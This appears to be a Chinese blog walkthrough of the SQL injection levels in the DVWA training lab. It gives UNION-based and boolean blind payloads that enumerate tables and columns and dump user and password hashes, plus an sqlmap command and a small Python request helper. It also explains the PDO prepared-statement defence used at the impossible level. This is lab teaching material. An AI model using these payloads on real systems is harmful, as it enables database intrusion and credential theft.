DVWA-SQL注入

SQL Injection SQL注入

SQL 注入的攻击行为可以描述为通过用户可控参数中注入SQL 语法,破坏原有SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以
归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL 语句。
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL 语句中。

low

  1. 判断注入类型

    1
    2
    //正常回显,可用联合查询
    2'
    //报错,可用报错注入,字符型注入,闭合类型'
    

    在这里插入图片描述

  2. 判断列数

    1' order by 1 #
    1' order by 2 #
    1' order by 3 #
    //报错,说明总共有两列
    

在这里插入图片描述

  1. 判断回显位置

    -2' union select 1,2; #
    

在这里插入图片描述

  1. 使用联合查询,查询数据库和版本号

    -2' union select database(),version(); #
    

在这里插入图片描述

  1. 查询表名

    -2' union select count(*),0 from information_schema.tables where
    table_schema=database(); #
    //查询有几个表
    -2' union select group_concat(table_name),0 from information_schema.tables where table_schema=database(); #
    //查询表名
    

在这里插入图片描述

在这里插入图片描述

  1. 获取列名

    -2' union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name='users'; #
    

在这里插入图片描述

  1. 查询获取到的信息

    -2' union select user,password from users; #
    

在这里插入图片描述

  1. 密码被MD5加密,可以在网站进行破解

medium

  1. 用bp抓包,判断注入类型

    id=1
    id=2
    //有回显,可以进行联合查询
    id=2'
    //有报错信息,可以进行报错注入,数字型注入,闭合类型'
    

在这里插入图片描述

  1. 判断列数

    id=2 order by 1;
    id=2 order by 2;
    id=2 order by 3;
    //报错,有两列
    

在这里插入图片描述

  1. 判断回显位置

    id=2 union select 1,2;
    

在这里插入图片描述

  1. 开始联合注入,查询数据库和版本号

    id=2 union select version(),database();
    

在这里插入图片描述

  1. 查询表

    id=2 union select count(*),0 from information_schema.tables where table_schema=database();
    //查询表数量
    id=2 union select group_concat(table_name),0 from information_schema.tables where table_schema=database();
    //查询表名
    

在这里插入图片描述

  1. 查询列

    id=2 union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name='users';
    //查询列名,发现'被转义,试试",也被转义,转十六进制
    id=2 union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name=0x7573657273;
    

在这里插入图片描述

  1. 查询数据

    id=2 union select user,password from users
    

在这里插入图片描述

high

  1. 发现需要进入一个新页面

在这里插入图片描述

  1. 判断注入类型

    1
    2
    //回显不同,可以联合查询
    2'
    //有报错信息,可以进行报错注入,数字型注入
    

在这里插入图片描述

  1. 判断列数

    2 order by 1;
    2 order by 2;
    //回显一样?看看源代码,发现被limit限制只输入第一条命令,那直接把limit注释掉,要考虑'闭合,注释可以用-- (注意有个空格)和#
    2' order by 1;# 
    2' order by 2;# 
    2' order by 3;# 
    //报错,有两列
    

在这里插入图片描述

  1. 判断注入点

    2' union select 1,2;#
    

在这里插入图片描述

  1. 联合查询,获取数据库名和版本号

    2' union select database(),version();#
    

在这里插入图片描述

  1. 查询表

    2' union select count(*),0 from information_schema.tables where table_schema=database();#
    //查询表数量
    2' union select group_concat(table_name),0 from information_schema.tables where table_schema=database();#
    //查询表名
    

在这里插入图片描述

  1. 查询列

    2' union select group_concat(column_name),0 from information_schema.columns where table_schema=database() and table_name='users';#
    

在这里插入图片描述

  1. 查询数据

    2' union select user,password from users;#
    

在这里插入图片描述

impossible

在这里插入图片描述

impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为1时,才成功输出,这样就有效预防了脱库,加入了Anti-CSRFtoken机制,进一步提高了安全性。

### 布尔盲注在DVWA中的应用及获取表名的教程 布尔盲注是一种基于逻辑判断的SQL注入技术,通过向数据库发送特定构造的SQL查询语句,并根据返回页面内容的变化来推断出数据库的信息。在DVWA(Damn Vulnerable Web Application)中,可以通过布尔盲注的方法逐步获取数据库中的表名。 #### 1. 确定数据库的字符集和表名长度 首先需要确定数据库中表名的长度以及所使用的字符集。可以使用以下SQL查询构造来判断表名的长度: ```sql ' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=N--+ ``` 将`N`替换为不同的数字,直到找到使页面返回结果发生变化的值,这表示当前表名的长度为`N`[^1]。 #### 2. 使用二分法或逐字符猜测表名 一旦确定了表名的长度,就可以逐字符地猜测表名。通过ASCII码比较,构造如下SQL查询: ```sql ' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),M,1))>N--+ ``` 其中: - `M`是当前正在猜测的字符位置。 - `N`是用于比较的ASCII码值。 通过不断调整`N`的值并观察页面响应,可以逐步缩小范围,最终确定每个字符的具体值[^2]。 #### 3. 自动化工具辅助 手动进行布尔盲注的过程较为繁琐,可以借助自动化工具如`sqlmap`来加速这一过程。例如,运行以下命令即可尝试从目标URL中提取表名: ```bash sqlmap -u "http://target/dvwa/vulnerabilities/sqli_blind/" --level=5 --risk=3 --technique=B --tables ``` 此命令会自动探测并利用布尔盲注漏洞来枚举所有表名[^3]。 #### 注意事项 - 在实际操作中,请确保拥有合法权限,避免违反相关法律法规。 - DVWA环境通常用于教育目的,建议在本地搭建环境中练习此类技术。 ```python # 示例代码:简单的布尔盲注逻辑模拟 def boolean_blind_injection(base_url, payload_template, char_position, guess_value): payload = payload_template.format(char_position, guess_value) response = requests.get(base_url, params={'id': payload, 'Submit': 'Submit'}) return "True" if "exists" in response.text else "False" ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cwangc000

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值